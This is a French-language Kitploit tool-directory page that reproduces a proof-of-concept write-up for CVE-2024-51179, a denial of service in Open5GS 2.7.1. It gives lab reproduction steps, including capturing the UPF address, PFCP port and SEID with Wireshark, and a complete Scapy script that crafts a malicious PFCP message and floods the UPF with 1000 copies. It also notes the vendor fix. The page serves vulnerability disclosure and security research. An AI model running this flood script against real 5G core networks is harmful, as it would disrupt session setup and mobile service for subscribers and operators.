Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-51179 — Exploit de preuve de concept pour CVE-2024-51179 : l'inondation de paquets PFCP conçus entraîne un déni de service dans Open5GS UPF/SMF, perturbant l'établissement de sessions PDU du cœur 5G. | Kitploit
Outils/GitHubGitHub/lakshmirnr/cve-2024-51179
Sniffing et Analyse de PaquetsAnalyse des VulnérabilitésExploitationSécurité RéseauTests d'Intrusion
GitHublakshmirnr/cve-2024-51179

CVE-2024-51179

Exploit de preuve de concept pour CVE-2024-51179 : l'inondation de paquets PFCP conçus entraîne un déni de service dans Open5GS UPF/SMF, perturbant l'établissement de sessions PDU du cœur 5G.

Voir le dépôt
425il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-51179 : L'inondation de paquets conçus par un attaquant peut faire planter UPF/SMF dans Open5gs

Description de la vulnérabilité

Description: Un problème dans Open5GS v.2.7.1 permet à un attaquant distant de provoquer un déni de service via les fonctions de virtualisation du réseau (NFV) telles que la fonction de plan utilisateur (UPF) et la fonction de gestion de session (SMF). Le processus d'établissement de session d'unité de données de paquet (PDU) est impacté par les plantages survenant au sein des NFV.

Un attaquant, après avoir obtenu l'adresse IP de la fonction de plan utilisateur (UPF), le port PFCP et le SEID (identifiant de point de terminaison de session), peut concevoir et inonder de paquets PFCP (protocole de contrôle de transfert de paquets) malveillants vers l'UPF. Les paramètres requis peuvent être interceptés à l'aide d'outils comme Wireshark si l'attaquant a accès au trafic du plan utilisateur.

Type de vulnérabilité: Déni de service

Impact: Lors de l'envoi du paquet malveillant, l'UPF devient erronée, affectant l'établissement de nouvelles sessions PDU. De plus, la SMF (fonction de gestion de session) est impactée en raison de l'inondation de paquets PFCP malveillants, perturbant les fonctions du cœur.

ÉTAPES POUR REPRODUIRE L'ATTAQUE

Conditions préalables: Le réseau central 5G a été configuré en utilisant Open5GS comme réseau central et UERANSIM comme outil d'émulation pour la gNB (NodeB de nouvelle génération) et l'UE (équipement utilisateur).

ÉTAPES POUR EFFECTUER L'ATTAQUE

  1. Assurez-vous qu'Open5GS est en cours d'exécution en vérifiant l'état des composants Open5GS (AMF, SMF, UPF, etc.)
  2. Vérifiez l'établissement de session PDU en utilisant UERANSIM pour initier une session PDU et en capturant le trafic avec Wireshark.
  3. Ouvrez Wireshark et sélectionnez l'interface réseau utilisée pour le plan utilisateur.
  4. Commencez à capturer le trafic avec un filtre d'affichage pour les paquets PFCP :
  5. Initiez une session PDU depuis UERANSIM pour garantir que les paquets PFCP sont visibles dans la capture.
  6. Dans Wireshark, trouvez et notez l'adresse IP de l'UPF, le port UPF (généralement 8805) et le SEID à partir des paquets PFCP capturés.
  7. Utilisez le script suivant pour inonder l'UPF de paquets.
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
import socket
import struct
UPF_IP = "192.168.56.113"  
UPF_PORT = 8805  
message_type = 53  
sequence_number = 1
seid = 0x0010000000000000  
version = 1 
spare = 0
mp = 0  
s_flag = 1  
byte0 = (version << 5) | (s_flag << 2)
length = 0  
seid_bytes = seid.to_bytes(8, 'big')
sequence_number_bytes = sequence_number.to_bytes(3, 'big')
pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
ie_type = 150  
ie_length = 13
flags = 0x01
fseid_seid = seid.to_bytes(8, 'big')
fseid_ipv4 = socket.inet_aton(UPF_IP)
fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
pfcp_message = pfcp_header + fseid_ie
pfcp_message_length = len(pfcp_message) - 4  
pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
pfcp_message = pfcp_header_with_length + fseid_ie
packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
packet[UDP].chksum = None
print(f"Packet Summary: {packet.summary()}")
hexdump(packet)
for _ in range(1000):  
    send(packet)
print("Sent 1000 malicious PFCP packets to UPF.")
  1. Surveillez l'impact sur le réseau à l'aide de Wireshark ou vérifiez les journaux pour observer d'éventuelles anomalies ou échecs dans le traitement des paquets.
  2. Essayez d'établir de nouvelles sessions PDU depuis UERANSIM pour voir si l'établissement échoue en raison de l'inondation.

ÉTAT DE LA SMF APRÈS L'ATTAQUE

smfcurrent

WIRESHARK CAPTURE DU PAQUET MALVEILLANT

377424722-253fa5a4-fbae-4e0d-8638-1f1d59633b22

STATUT ACTUEL

La vulnérabilité, documentée sous Issue #3497 sur la page GitHub d'Open5GS (https://github.com/open5gs/open5gs/issues/3497), a été signalée au fournisseur d'Open5GS, qui a identifié la cause première comme un problème de désallocation mémoire entraînant des plantages système. Un correctif a depuis été appliqué, et le code a été mis à jour pour résoudre le problème. Vous pouvez consulter le code mis à jour ici.

https://github.com/open5gs/open5gs/commit/e3790b45b4bc0b261e0946cf93755099a9525cfd

CVE-2024-51179 a été publié.

CRÉDITS

UNIVERSITÉ NUMÉRIQUE DU KERALA, CENTRE POUR LE DÉVELOPPEMENT DE LA TÉLÉMATIQUE (C-DOT)

Télécharger l’outil